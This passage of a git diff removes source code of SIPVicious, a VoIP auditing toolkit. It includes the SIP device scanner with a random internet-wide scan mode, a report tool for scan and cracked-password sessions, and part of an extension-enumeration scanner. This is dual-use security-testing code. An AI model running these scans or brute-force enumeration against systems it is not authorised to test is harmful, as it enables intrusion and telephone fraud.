self.log.warning("could not bind to %s:%s - some process might already be listening on this port." \ - "Listening on port %s instead" % (self.bindingip, self.originallocalport, self.localport)) - self.log.info("Make use of the -P option to specify a port to bind to yourself") - - while 1: - r, _, _ = select.select( - self.rlist, - self.wlist, - self.xlist, - self.selecttime - ) - if r: - # we got stuff to read off the socket - try: - buff, srcaddr = self.sock.recvfrom(8192) - host, port, *_ = srcaddr - self.log.debug('got data from %s:%s' % (str(host), str(port))) - self.log.debug('data: %s' % buff.__repr__()) - if self.printdebug: - print(srcaddr) - print(buff) - except socket.error: - __exitcode__ = resolveexitcode(30, __exitcode__) - continue - self.getResponse(buff, srcaddr) - - else: - # no stuff to read .. its our turn to send back something - if self.nomoretoscan: - try: - # having the final sip - self.log.debug("Making sure that no packets get lost") - self.log.debug("Come to daddy") - while 1: - buff, srcaddr = self.sock.recvfrom(8192) - if self.printdebug: - print(srcaddr) - print(buff) - self.getResponse(buff, srcaddr) - except socket.error: - break - - try: - nextscan = next(self.scaniter) - except StopIteration: - self.log.debug('no more hosts to scan') - self.nomoretoscan = True - continue - - dstip, dstport, method = nextscan - self.nextip = dstip - dsthost = (dstip, dstport) - domain = dsthost[0] - branchunique = '%s' % random.getrandbits(32) - - if self.ipv6 and check_ipv6(dsthost[0]): - domain = '[' + dsthost[0] + ']' - localtag = createTag('%s%s' % (''.join(map(lambda x: - '%s' % x, dsthost[0].split(':'))), '%04x' % dsthost[1])) - else: - localtag = createTag('%s%s' % (''.join(map(lambda x: - '%02x' % int(x), dsthost[0].split('.'))),'%04x' % dsthost[1])) - - if self.ipv6: - fromaddr = '"%s"' % (self.fromname, domain) - else: - fromaddr = '"%s"<%s>' % (self.fromname, self.fromaddr) - - toaddr = fromaddr - callid = '%s' % random.getrandbits(80) - contact = None - if method != 'REGISTER': - contact = 'sip:%s@%s:%s' % (self.extension, self.externalip, self.localport) - data = makeRequest( - method, - fromaddr, - toaddr, - domain, - dsthost[1], - callid, - self.externalip, - branchunique, - compact=self.compact, - localtag=localtag, - contact=contact, - accept='application/sdp', - localport=self.localport, - extension=self.extension - ) - - try: - self.log.debug("sending packet to %s:%s" % dsthost) - self.log.debug("packet: %s" % data.__repr__()) - mysendto(self.sock, data, dsthost) - self.sentpackets += 1 - - if self.sessionpath is not None: - if next(self.packetcount): - try: - f = open(os.path.join(self.sessionpath,'lastip.pkl'),'wb+') - pickle.dump(self.nextip, f) - f.close() - self.log.debug('logged last ip %s' % self.nextip) - except IOError: - self.log.warning('could not log the last ip scanned') - __exitcode__ = resolveexitcode(20, __exitcode__) - - if self.first is not None: - if self.sentpackets >= self.first: - self.log.info('Reached the limit to scan the first %s packets' % self.first) - self.nomoretoscan = True - - except socket.error as err: - self.log.error("socket error while sending to %s:%s -> %s" % (dsthost[0], dsthost[1], err)) - __exitcode__ = resolveexitcode(30, __exitcode__) - pass - - # if the number of sentpackets is not equal to the ones we received, then we know that - # there were packet drops, i.e. network errors :D one hack to rule 'em all ;P - if self.sentpackets != len(self.resultua): - __exitcode__ = resolveexitcode(30, __exitcode__) - -def main(): - global __exitcode__ - usage = "usage: %prog [options] host1 host2 hostrange\r\n" - usage += 'Scans for SIP devices on a given network\r\n\r\n' - usage += "examples:\r\n" - usage += "\t%prog 10.0.0.1-10.0.0.255 " - usage += "172.16.131.1 sipvicious.org/22 10.0.1.1/24 " - usage += "1.1.1.1-20 1.1.2-20.* 4.1.*.*\r\n" - usage += "\t%prog -s session1 --randomize 10.0.0.1/8\r\n" - usage += "\t%prog --resume session1 -v\r\n" - usage += "\t%prog -p5060-5062 10.0.0.3-20 -m INVITE\r\n" - parser = ArgumentParser(usage, version="%prog v" + __version__ + __GPL__) - parser.add_option("-p", "--port", dest="port", default="5060", - help="Destination port or port ranges of the SIP device - eg -p5060,5061,8000-8100", metavar="PORT") - parser = standardoptions(parser) - parser = standardscanneroptions(parser) - parser.add_option("--randomscan", dest="randomscan", action="store_true", default=False, help="Scan random IP addresses") - parser.add_option("-i", "--input", dest="input", - help="Scan IPs which were found in a previous scan. Pass the session name as the argument", metavar="scan1") - parser.add_option("-I", "--inputtext", dest="inputtext", - help="Scan IPs from a text file - use the same syntax as command line but with new lines instead of commas. Pass the file name as the argument", metavar="scan1") - parser.add_option("-m", "--method", dest="method", help="Specify the request method - by default this is OPTIONS.", - default='OPTIONS') - parser.add_option("-d", "--debug", dest="printdebug", - help="Print SIP messages received", default=False, action="store_true") - parser.add_option("--first", dest="first", type="long", - help="Only send the first given number of messages (i.e. usually used to scan only X IPs)") - parser.add_option("-e", "--extension", dest="extension", default='100', - help="Specify an extension - by default this is not set") - parser.add_option("--randomize", dest="randomize", action="store_true", default=False, - help="Randomize scanning instead of scanning consecutive ip addresses") - parser.add_option("--srv", dest="srvscan", action="store_true", default=False, - help="Scan the SRV records for SIP on the destination domain name. The targets have to be domain names - example.org domain1.com") - parser.add_option('--fromname',dest="fromname", default="sipvicious", - help="specify a name for the from header") - parser.add_option('-6', '--ipv6', dest="ipv6", action='store_true', help="scan an IPv6 address") - - options, args = parser.parse_args() - exportpath = None - if options.resume is not None: - exportpath = os.path.join(os.path.expanduser('~'), '.sipvicious', __prog__, options.resume) - - if os.path.exists(os.path.join(exportpath,'closed')): - parser.error("Cannot resume a session that is complete", 20) - - if not os.path.exists(exportpath): - parser.error('A session with the name %s was not found' % options.resume, 20) - - optionssrc = os.path.join(exportpath,'options.pkl') - previousresume = options.resume - previousverbose = options.verbose - - options, args = pickle.load(open(optionssrc,'rb'), encoding='bytes') - options.resume = previousresume - options.verbose = previousverbose - - elif options.save is not None: - exportpath = os.path.join(os.path.expanduser('~'), '.sipvicious', __prog__, options.save) - - logging.basicConfig(level=calcloglevel(options)) - logging.debug('started logging') - scanrandomstore = None - - if options.input is not None: - db = os.path.join(os.path.expanduser('~'), '.sipvicious',__prog__, options.input,'resultua') - if dbexists(db): - scaniter = scanfromdb(db, options.method.split(',')) - else: - parser.error("the session name does not exist. Please use svreport to list existing scans", 20) - - elif options.randomscan: - logging.debug('making use of random scan') - logging.debug('parsing range of ports: %s' % options.port) - portrange = getRange(options.port) - internetranges = [ - [16777216, 167772159], - [184549376, 234881023], - [251658240, 2130706431], - [2147549184, 2851995647], - [2852061184, 2886729727], - [2886795264, 3221159935], - [3221226240, 3227017983], - [3227018240, 3232235519], - [3232301056, 3323068415], - [3323199488, 3758096127] - ] - - scanrandomstore = '.sipviciousrandomtmp' - resumescan = False - if options.save is not None: - scanrandomstore = os.path.join(exportpath,'random') - resumescan = True - scaniter = scanrandom( - internetranges, - portrange, - options.method.split(','), - randomstore=scanrandomstore, - resume=resumescan - ) - - elif options.inputtext: - logging.debug('Using IP addresses from input text file') - try: - f = open(options.inputtext, 'r') - args = f.readlines() - f.close() - except IOError: - parser.error('Could not open %s' % options.inputtext, 20) - - args = list(map(lambda x: x.strip(), args)) - args = [x for x in args if len(x) > 0] - - logging.debug('ip addresses %s' % args) - try: - iprange = ip4range(*args) - except ValueError as err: - parser.error(err, 20) - - portrange = getRange(options.port) - if options.randomize: - scanrandomstore = '.sipviciousrandomtmp' - resumescan = False - if options.save is not None: - scanrandomstore = os.path.join(exportpath,'random') - resumescan = True - scaniter = scanrandom(list(map(getranges, args)), portrange, - options.method.split(','), randomstore=scanrandomstore, resume=resumescan) - else: - scaniter = scanlist(iprange, portrange, options.method.split(',')) - - else: - if len(args) < 1: - parser.error('Please provide at least one target', 10) - - logging.debug('parsing range of ports: %s' % options.port) - portrange = getRange(options.port) - if options.randomize: - scanrandomstore = '.sipviciousrandomtmp' - resumescan = False - if options.save is not None: - scanrandomstore = os.path.join(exportpath,'random') - resumescan = True - scaniter = scanrandom(list(map(getranges, args)), portrange, - options.method.split(','), randomstore=scanrandomstore, resume=resumescan) - - elif options.srvscan: - logging.debug("making use of SRV records") - scaniter = getTargetFromSRV(args, options.method.split(',')) - - else: - if options.resume is not None: - lastipsrc = os.path.join(exportpath, 'lastip.pkl') - try: - f = open(lastipsrc, 'rb') - previousip = pickle.load(f, encoding='bytes') - f.close() - except IOError: - parser.error('Could not read from %s' % lastipsrc, 20) - - logging.debug('Previous args: %s' % args) - args = resumeFromIP(previousip, args) - logging.debug('New args: %s' % args) - logging.info('Resuming from %s' % previousip) - - if options.ipv6: - scaniter = scanlist(ip6range(*args), portrange, options.method.split(',')) - else: - # normal consecutive scan - try: - iprange = ip4range(*args) - except ValueError as err: - parser.error(err, 20) - - scaniter = scanlist(iprange, portrange, options.method.split(',')) - - if options.save is not None: - if options.resume is None: - exportpath = os.path.join(os.path.expanduser('~'), '.sipvicious', __prog__, options.save) - if os.path.exists(exportpath): - parser.error('we found a previous scan with the same name. Please choose a new session name', 20) - - logging.debug('creating an export location %s' % exportpath) - try: - os.makedirs(exportpath, mode=0o700) - except OSError: - parser.error('could not create the export location %s' % exportpath, 20) - - optionsdst = os.path.join(exportpath, 'options.pkl') - logging.debug('saving options to %s' % optionsdst) - pickle.dump([options, args], open(optionsdst, 'wb+')) - - try: - options.extension - except AttributeError: - options.extension = None - - if options.autogetip: - tmpsocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - tmpsocket.connect(("msn.com",80)) - options.externalip=tmpsocket.getsockname()[0] - tmpsocket.close() - - sipvicious = DrinkOrSip( - scaniter, - selecttime=options.selecttime, - compact=options.enablecompact, - localport=options.localport, - externalip=options.externalip, - bindingip=options.bindingip, - sessionpath=exportpath, - extension=options.extension, - printdebug=options.printdebug, - first=options.first, - fromname=options.fromname, - ipv6=options.ipv6, - ) - start_time = datetime.now() - logging.info("start your engines") - try: - sipvicious.start() - if exportpath is not None: - open(os.path.join(exportpath,'closed'),'w').close() - - except KeyboardInterrupt: - logging.warning( 'caught your control^c - quiting' ) - - except Exception as err: - logging.critical( "Got unhandled exception" ) - reportBugToAuthor(err) - logging.exception("Exception") - __exitcode__ = resolveexitcode(20, __exitcode__) - - if options.save is not None and sipvicious.nextip is not None and options.randomize is False and options.randomscan is False: - lastipdst = os.path.join(exportpath,'lastip.pkl') - logging.debug('saving state to %s' % lastipdst) - try: - f = open(lastipdst,'wb+') - pickle.dump(sipvicious.nextip, f) - f.close() - except OSError: - logging.warning('Could not save state to %s' % lastipdst) - - elif options.save is None: - if scanrandomstore is not None: - #if options.randomize or options.randomscan: - try: - logging.debug('removing %s' % scanrandomstore) - os.unlink(scanrandomstore) - except OSError: - logging.warning('could not remove %s' % scanrandomstore) - pass - # display results - if not options.quiet: - lenres = len(sipvicious.resultua) - if lenres > 0: - logging.info("we have %s devices" % lenres) - if (lenres < 400 and options.save is not None) or options.save is None: - labels = ('SIP Device','User Agent') - rows = list() - try: - for k in sipvicious.resultua.keys(): - rows.append((k.decode(),sipvicious.resultua[k].decode())) - except AttributeError: - for k in sipvicious.resultua.keys(): - rows.append((k, sipvicious.resultua[k])) - print(to_string(rows, header=labels)) - else: - logging.warning("too many to print - use svreport for this") - else: - logging.warning("found nothing") - end_time = datetime.now() - total_time = end_time - start_time - logging.info("Total time: %s" % total_time) - exit(__exitcode__) - -if __name__ == '__main__': - main() diff --git a/misc/telecommunications/sipvicious/sipvicious/svreport.py b/misc/telecommunications/sipvicious/sipvicious/svreport.py deleted file mode 100755 index 506ec52..0000000 --- a/misc/telecommunications/sipvicious/sipvicious/svreport.py +++ /dev/null @@ -1,247 +0,0 @@ -# SIPVicious report engine -__GPL__ = """ - - SIPVicious report engine manages sessions from previous scans with SIPVicious - tools and allows you to export these scans. - Copyright (C) 2007-2021 Sandro Gauci - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -""" - -import re -import dbm -import csv -import logging -import os -from optparse import OptionParser -from sys import exit -from datetime import datetime -from operator import itemgetter -from sipvicious.libs.svhelper import ( - __version__, calcloglevel, listsessions, deletesessions, getsessionpath, - dbexists, createReverseLookup, getasciitable, outputtoxml, outputtopdf -) - -__prog__ = 'svreport' - -def main(): - commandsusage = """Supported commands: - - list:\tlists all scans - - export:\texports the given scan to a given formats - - delete:\tdeletes the scan - - stats:\tprint out some statistics of interest - - search:\tsearch for a specific string in the user agent (svmap)\r\n -""" - commandsusage += "examples:\r\n" - commandsusage += " %s.py list\r\n" % __prog__ - commandsusage += " %s.py export -f pdf -o scan1.pdf -s scan1\r\n" % __prog__ - commandsusage += " %s.py delete -s scan1\r\n" % __prog__ - usage = "%prog [command] [options]\r\n\r\n" - usage += commandsusage - parser = OptionParser(usage=usage, version="%prog v" + str(__version__) + __GPL__) - parser.add_option('-v', '--verbose', dest="verbose", action="count", - help="Increase verbosity") - parser.add_option('-q', '--quiet', dest="quiet", action="store_true", - default=False, help="Quiet mode") - parser.add_option("-t", "--type", dest="sessiontype", - help="Type of session. This is usually either svmap, svwar or svcrack. If not set I will try to find the best match") - parser.add_option("-s", "--session", dest="session", - help="Name of the session") - parser.add_option("-f", "--format", dest="format", - help="Format type. Can be stdout, pdf, xml, csv or txt") - parser.add_option("-o", "--output", dest="outputfile", - help="Output filename") - parser.add_option("-n", dest="resolve", default=True, - action="store_false", help="Do not resolve the ip address") - parser.add_option("-c", "--count", dest="count", default=False, - action="store_true", help="Used togather with 'list' command to count the number of entries") - options, args = parser.parse_args() - if len(args) < 1: - parser.error("Please specify a command.\r\n") - exit(1) - command = args[0] - validcommands = ['list', 'export', 'delete', 'stats', 'search'] - if command not in validcommands: - parser.error('%s is not a supported command' % command) - exit(1) - logging.basicConfig(level=calcloglevel(options)) - sessiontypes = ['svmap', 'svwar', 'svcrack'] - if options.sessiontype not in sessiontypes: - parser.error("Invalid session type. Please specify a valid session type.") - exit(1) - logging.debug('started logging') - if command == 'list': - listsessions(options.sessiontype, count=options.count) - if command == 'delete': - if options.session is None: - parser.error("Please specify a valid session.") - exit(1) - sessionpath = deletesessions(options.session, options.sessiontype) - if sessionpath is None: - parser.error( - 'Session could not be found. Make sure it exists by making use of %s.py list' % __prog__) - exit(1) - elif command == 'export': - start_time = datetime.now() - if options.session is None: - parser.error("Please specify a valid session") - exit(1) - if options.outputfile is None and options.format not in [None, 'stdout']: - parser.error("Please specify an output file") - exit(1) - tmp = getsessionpath(options.session, options.sessiontype) - if tmp is None: - parser.error( - 'Session could not be found. Make sure it exists by making use of %s list' % __prog__) - exit(1) - sessionpath, sessiontype = tmp - resdb = None - if sessiontype == 'svmap': - dbloc = os.path.join(sessionpath, 'resultua') - labels = ['Host', 'User Agent'] - elif sessiontype == 'svwar': - dbloc = os.path.join(sessionpath, 'resultauth') - labels = ['Extension', 'Authentication'] - elif sessiontype == 'svcrack': - dbloc = os.path.join(sessionpath, 'resultpasswd') - labels = ['Extension', 'Password'] - if not dbexists(dbloc): - logging.error('The database could not be found: %s' % dbloc) - exit(1) - - db = dbm.open(dbloc, 'r') - - if options.resolve and sessiontype == 'svmap': - labels.append('Resolved') - resdbloc = os.path.join(sessionpath, 'resolved') - if not dbexists(resdbloc): - logging.info('Performing DNS reverse lookup') - resdb = dbm.open(resdbloc, 'c') - createReverseLookup(db, resdb) - else: - logging.info('Not Performing DNS lookup') - resdb = dbm.open(resdbloc, 'r') - - if options.outputfile is not None: - if options.outputfile.find('.') < 0: - if options.format is None: - options.format = 'txt' - options.outputfile += '.%s' % options.format - if options.format in [None, 'stdout', 'txt']: - o = getasciitable(labels, db, resdb) - if options.outputfile is None: - print(o) - else: - open(options.outputfile, 'w').write(o) - elif options.format == 'xml': - o = outputtoxml('%s report' % sessiontype, labels, db, resdb) - open(options.outputfile, 'w').write(o) - elif options.format == 'pdf': - outputtopdf(options.outputfile, '%s report' % - sessiontype, labels, db, resdb) - elif options.format == 'csv': - writer = csv.writer(open(options.outputfile, "w")) - for k in db.keys(): - row = [k.decode(), db[k].decode()] - if resdb is not None: - if k in resdb: - row.append(resdb[k].decode()) - else: - row.append('N/A') - writer.writerow(row) - logging.info("That took %s" % (datetime.now() - start_time)) - - elif command == 'stats': - if options.session is None: - parser.error("Please specify a valid session") - exit(1) - if options.outputfile is None and options.format not in [None, 'stdout']: - parser.error("Please specify an output file") - exit(1) - tmp = getsessionpath(options.session, options.sessiontype) - if tmp is None: - parser.error( - 'Session could not be found. Make sure it exists by making use of %s list' % __prog__) - exit(1) - sessionpath, sessiontype = tmp - if sessiontype != 'svmap': - parser.error('Only takes svmap sessions for now') - exit(1) - dbloc = os.path.join(sessionpath, 'resultua') - if not dbexists(dbloc): - logging.error('The database could not be found: %s' % dbloc) - exit(1) - db = dbm.open(dbloc, 'r') - useragents = dict() - useragentconames = dict() - for k in db.keys(): - v = db[k] - if v not in useragents: - useragents[v] = 0 - useragents[v] += 1 - useragentconame = re.split(b'[ /]', v)[0] - if useragentconame not in useragentconames: - useragentconames[useragentconame] = 0 - useragentconames[useragentconame] += 1 - - _useragents = sorted(iter(useragents.items()), - key=itemgetter(1), reverse=True) - suseragents = list(map(lambda x: '\t- %s (%s)' % (x[0].decode(), x[1]), _useragents)) - _useragentsnames = sorted( - iter(useragentconames.items()), key=itemgetter(1), reverse=True) - suseragentsnames = list(map(lambda x: '\t- %s (%s)' % - (x[0].decode(), x[1]), _useragentsnames)) - print("Total number of SIP devices found: %s" % len(list(db.keys()))) - print("Total number of useragents: %s\r\n" % len(suseragents)) - print("Total number of useragent names: %s\r\n" % len(suseragentsnames)) - print("Most popular top 30 useragents:\r\n") - print('\r\n'.join(suseragents[:30]), '\r\n\r\n') - print("Most unpopular top 30 useragents:\r\n\t") - print('\r\n'.join(suseragents[-30:]), "\r\n\r\n") - print("Most popular top 30 useragent names:\r\n") - print('\r\n'.join(suseragentsnames[:30]), '\r\n\r\n') - print("Most unpopular top 30 useragent names:\r\n\t") - print('\r\n'.join(suseragentsnames[-30:]), '\r\n\r\n') - - elif command == 'search': - if options.session is None: - parser.error("Please specify a valid session") - exit(1) - if len(args) < 2: - parser.error('You need to specify a search string') - searchstring = args[1] - tmp = getsessionpath(options.session, options.sessiontype) - if tmp is None: - parser.error( - 'Session could not be found. Make sure it exists by making use of %s list' % __prog__) - exit(1) - sessionpath, sessiontype = tmp - if sessiontype != 'svmap': - parser.error('Only takes svmap sessions for now') - exit(1) - dbloc = os.path.join(sessionpath, 'resultua') - if not dbexists(dbloc): - logging.error('The database could not be found: %s' % dbloc) - exit(1) - db = dbm.open(dbloc, 'r') - useragents = dict() - useragentconames = dict() - labels = ['Host', 'User Agent'] - for k in db.keys(): - v = db[k].decode() - if searchstring.lower() in v.lower(): - print(k.decode() + '\t' + v) - -if __name__ == "__main__": - main() diff --git a/misc/telecommunications/sipvicious/sipvicious/svwar.py b/misc/telecommunications/sipvicious/sipvicious/svwar.py deleted file mode 100755 index da3fb28..0000000 --- a/misc/telecommunications/sipvicious/sipvicious/svwar.py +++ /dev/null @@ -1,746 +0,0 @@ -# svwar.py - SIPvicious extension line scanner - -__GPL__ = """ - - Sipvicious extension line scanner scans SIP PaBXs for valid extension lines - Copyright (C) 2007-2021 Sandro Gauci - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -""" - -import logging -import random -import select -import pickle -import socket -import sys -import time -import dbm -import os -from datetime import datetime -from urllib.parse import urlparse -from sipvicious.libs.pptable import to_string -from sipvicious.libs.svhelper import ( - __version__, numericbrute, dictionaryattack, mysendto, - createTag, check_ipv6, makeRequest, getTag, parseHeader, resolveexitcode, - getRealm, standardoptions, standardscanneroptions, calcloglevel, - resumeFrom, getRange, reportBugToAuthor, packetcounter, ArgumentParser -) - -__prog__ = 'svwar' -__exitcode__ = 0 - -class TakeASip: - - def __init__(self, host='localhost', bindingip='', externalip=None, localport=5060, - method='REGISTER', guessmode=1, guessargs=None, selecttime=0.005, - sessionpath=None, compact=False, socktimeout=3, initialcheck=True, - enableack=False, maxlastrecvtime=15, domain=None, printdebug=False, - ipv6=False, port=5060): - self.log = logging.getLogger('TakeASip') - self.maxlastrecvtime = maxlastrecvtime - self.sessionpath = sessionpath - self.dbsyncs = False - self.enableack = enableack - if self.sessionpath is not None: - self.resultauth = dbm.open(os.path.join( - self.sessionpath, 'resultauth'), 'c') - try: - self.resultauth.sync() - self.dbsyncs = True - self.log.info("Db does sync") - except AttributeError: - self.log.info("Db does not sync") - pass - else: - self.resultauth = dict() - family = socket.AF_INET - if ipv6: - family = socket.AF_INET6 - self.sock = socket.socket(family, socket.SOCK_DGRAM) - self.sock.settimeout(socktimeout) - self.bindingip = bindingip - self.localport = localport - self.ipv6 = ipv6 - self.originallocalport = localport - self.rlist = [self.sock] - self.wlist = list() - self.xlist = list() - self.challenges = list() - self.realm = None - try: - if int(port) >= 1 and int(port) <= 65535: - self.dsthost, self.dstport = host, int(port) - else: - raise ValueError - except (ValueError, TypeError): - self.log.error('port should strictly be an integer between 1 and 65535') - exit(10) - self.domain = self.dsthost - if domain: - self.domain = domain - self.guessmode = guessmode - self.guessargs = guessargs - if self.guessmode == 1: - self.usernamegen = numericbrute(*self.guessargs) - elif guessmode == 2: - self.usernamegen = dictionaryattack(self.guessargs) - self.selecttime = selecttime - self.compact = compact - self.nomore = False - self.BADUSER = None - self.method = method.upper() - if self.method == 'INVITE': - self.log.warning( - 'using an INVITE scan on an endpoint (i.e. SIP phone) may cause it to ring and wake up people in the middle of the night') - if self.sessionpath is not None: - self.packetcount = packetcounter(50) - self.initialcheck = initialcheck - self.lastrecvtime = time.time() - if externalip is None: - self.log.debug("external ip was not set") - if (self.bindingip != '0.0.0.0') and (len(self.bindingip) > 0): - self.log.debug( - "but bindingip was set! we'll set it to the binding ip") - self.externalip = self.bindingip - else: - try: - self.log.info( - "trying to get self ip .. might take a while") - self.externalip = socket.gethostbyname( - socket.gethostname()) - except socket.error: - self.externalip = '127.0.0.1' - else: - self.log.debug("external ip was set") - self.externalip = externalip - self.printdebug = printdebug - - -# SIP response codes, also mapped to ISDN Q.931 disconnect causes. - - PROXYAUTHREQ = 'SIP/2.0 407 ' - AUTHREQ = 'SIP/2.0 401 ' - OKEY = 'SIP/2.0 200 ' - NOTFOUND = 'SIP/2.0 404 ' - INVALIDPASS = 'SIP/2.0 403 ' - TRYING = 'SIP/2.0 100 ' - RINGING = 'SIP/2.0 180 ' - NOTALLOWED = 'SIP/2.0 405 ' - UNAVAILABLE = 'SIP/2.0 480 ' - DECLINED = 'SIP/2.0 603 ' - INEXISTENTTRANSACTION = 'SIP/2.0 481' - - # Mapped to ISDN Q.931 codes - 88 (Incompatible destination), 95 (Invalid message), 111 (Protocol error) - # If we get something like this, then most probably the remote device SIP stack has troubles with - # understanding / parsing our messages (a.k.a. interopability problems). - BADREQUEST = 'SIP/2.0 400 ' - - # Mapped to ISDN Q.931 codes - 34 (No circuit available), 38 (Network out of order), 41 (Temporary failure), - # 42 (Switching equipment congestion), 47 (Resource unavailable) - # Should be handled in the very same way as SIP response code 404 - the prefix is not correct and we should - # try with the next one. - SERVICEUN = 'SIP/2.0 503 ' - - def createRequest(self, m, username=None, auth=None, cid=None, - cseq=1, fromaddr=None, toaddr=None, contact=None): - if cid is None: - cid = '%s' % str(random.getrandbits(32)) - branchunique = '%s' % random.getrandbits(32) - localtag = createTag(username) - domain = self.domain - if self.ipv6 and check_ipv6(domain): - domain = '[' + self.domain + ']' - if not contact: - contact = 'sip:%s@%s' % (username, domain) - if not fromaddr: - fromaddr = '"%s"' % (username, username, domain) - if not toaddr: - toaddr = '"%s"' % (username, username, domain) - request = makeRequest( - m, - fromaddr, - toaddr, - domain, - self.dstport, - cid, - self.externalip, - branchunique, - cseq, - auth, - localtag, - self.compact, - contact=contact, - localport=self.localport, - extension=username - ) - return request - - def getResponse(self): - # we got stuff to read off the socket - global __exitcode__ - buff, srcaddr = self.sock.recvfrom(8192) - if self.printdebug: - print(srcaddr) - print(buff) - buff = buff.decode('utf-8') - try: - extension = getTag(buff).decode('utf-8', 'ignore') - except (TypeError, AttributeError): - self.log.error('could not decode to tag') - __exitcode__ = resolveexitcode(20, __exitcode__) - extension = None - if extension is None: - self.nomore = True - return - try: - firstline = buff.splitlines()[0] - except (ValueError, IndexError, AttributeError): - self.log.error("could not get the 1st line") - __exitcode__ = resolveexitcode(20, __exitcode__) - return - if self.enableack: - # send an ack to any responses which match - _tmp = parseHeader(buff) - if not (_tmp and 'code' in _tmp): - return - if 699 > _tmp['code'] >= 200: - self.log.debug('will try to send an ACK response') - if 'headers' not in _tmp: - self.log.debug('no headers?') - __exitcode__ = resolveexitcode(20, __exitcode__) - return - if 'from' not in _tmp['headers']: - self.log.debug('no from?') - __exitcode__ = resolveexitcode(20, __exitcode__) - return - if 'cseq' not in _tmp['headers']: - self.log.debug('no cseq') - __exitcode__ = resolveexitcode(20, __exitcode__) - return - if 'call-id' not in _tmp['headers']: - self.log.debug('no caller id') - __exitcode__ = resolveexitcode(20, __exitcode__) - return - - try: - # _tmp['headers']['from'][0].split('"')[1] - getTag(buff) - except IndexError: - self.log.warning('could not parse the from address %s' % _tmp['headers']['from']) - __exitcode__ = resolveexitcode(20, __exitcode__) - - cseq = _tmp['headers']['cseq'][0] - cseqmethod = cseq.split()[1] - if 'INVITE' == cseqmethod: - cid = _tmp['headers']['call-id'][0] - fromaddr = _tmp['headers']['from'][0] - toaddr = _tmp['headers']['to'][0] - ackreq = self.createRequest( - 'ACK', - cid=cid, - cseq=cseq.replace(cseqmethod, ''), - fromaddr=fromaddr, - toaddr=toaddr, - ) - self.log.debug('here is your ack request: %s' % ackreq) - mysendto(self.sock, ackreq, (self.dsthost, self.dstport)) - # self.sock.sendto(ackreq,(self.dsthost,self.dstport)) - if _tmp['code'] == 200: - byemsg = self.createRequest( - 'BYE', - cid=cid, - cseq='2', - fromaddr=fromaddr, - toaddr=toaddr, - ) - self.log.debug('sending a BYE to the 200 OK for the INVITE') - mysendto(self.sock, byemsg,(self.dsthost, self.dstport)) - - if firstline != self.BADUSER: - __exitcode__ = resolveexitcode(40, __exitcode__) - if buff.startswith(self.PROXYAUTHREQ) \ - or buff.startswith(self.INVALIDPASS) \ - or buff.startswith(self.AUTHREQ): - if self.realm is None: - self.realm = getRealm(buff) - self.log.info("extension '%s' exists - requires authentication" % extension) - self.resultauth[extension] = 'reqauth' - if self.sessionpath is not None and self.dbsyncs: - self.resultauth.sync() - elif buff.startswith(self.TRYING): - pass - elif buff.startswith(self.RINGING): - pass - elif buff.startswith(self.OKEY): - self.log.info( - "extension '%s' exists - authentication not required" % extension) - self.resultauth[extension] = 'noauth' - if self.sessionpath is not None and self.dbsyncs: - self.resultauth.sync() - else: - self.log.warning( - "extension '%s' probably exists but the response is unexpected" % extension) - self.log.debug("response: %s" % firstline) - self.resultauth[extension] = 'weird' - if self.sessionpath is not None and self.dbsyncs: - self.resultauth.sync() - - elif buff.startswith(self.NOTFOUND): - self.log.debug("User '%s' not found" % extension) - - elif buff.startswith(self.INEXISTENTTRANSACTION): - pass - - # Prefix not found, lets go to the next one. Should we add a warning - # here??? - elif buff.startswith(self.SERVICEUN): - pass - - elif buff.startswith(self.TRYING): - pass - - elif buff.startswith(self.RINGING): - pass - - elif buff.startswith(self.OKEY): - pass - - elif buff.startswith(self.DECLINED): - pass - - elif buff.startswith(self.NOTALLOWED): - self.log.warning("method not allowed") - self.nomore = True - - elif buff.startswith(self.BADREQUEST): - self.log.error( - "Protocol / interopability error! The remote side most probably has problems with parsing your SIP messages!") - self.nomore = True - - else: - self.log.warning("We got an unknown response") - self.log.error("Response: %s" % buff.__repr__()) - self.log.debug("1st line: %s" % firstline.__repr__()) - self.log.debug("Bad user: %s" % self.BADUSER.__repr__()) - self.nomore = True - - def start(self): - global __exitcode__ - if self.bindingip == '': - bindingip = 'any' - else: - bindingip = self.bindingip - self.log.debug("binding to %s:%s" % (bindingip, self.localport)) - - while 1: - if self.localport > 65535: - self.log.critical("Could not bind to any port") - __exitcode__ = resolveexitcode(30, __exitcode__) - return - try: - self.sock.bind((self.bindingip, self.localport)) - break - except socket.error: - self.log.debug("could not bind to %s" % self.localport) - self.localport += 1 - - if self.originallocalport != self.localport: - self.log.warning("could not bind to %s:%s - some process might already be listening on this port. Listening on port %s instead" % - (self.bindingip, self.originallocalport, self.localport)) - self.log.info( - "Make use of the -P option to specify a port to bind to yourself") - - # perform a test 1st .. we want to see if we get a 404 - # some other error for unknown users - self.nextuser = random.getrandbits(32) - data = self.createRequest(self.method, self.nextuser) - try: - mysendto(self.sock, data, (self.dsthost, self.dstport)) - # self.sock.sendto(data,(self.dsthost,self.dstport)) - except socket.error as err: - self.log.error("socket error: %s" % err) - __exitcode__ = resolveexitcode(30, __exitcode__) - return - - # first we identify the assumed reply for an unknown extension - gotbadresponse = False - try: - while 1: - try: - buff, srcaddr = self.sock.recvfrom(8192) - if self.printdebug: - print(srcaddr) - print(buff) - except socket.error as err: - self.log.error("socket error: %s" % err) - __exitcode__ = resolveexitcode(30, __exitcode__) - return - - buff = buff.decode('utf-8', 'ignore') - if buff.startswith(self.TRYING) \ - or buff.startswith(self.RINGING) \ - or buff.startswith(self.UNAVAILABLE): - gotbadresponse = True - - elif (buff.startswith(self.PROXYAUTHREQ) - or buff.startswith(self.INVALIDPASS) - or buff.startswith(self.AUTHREQ)) \ - and self.initialcheck: - self.log.error( - "SIP server replied with an authentication request for an unknown extension. Set 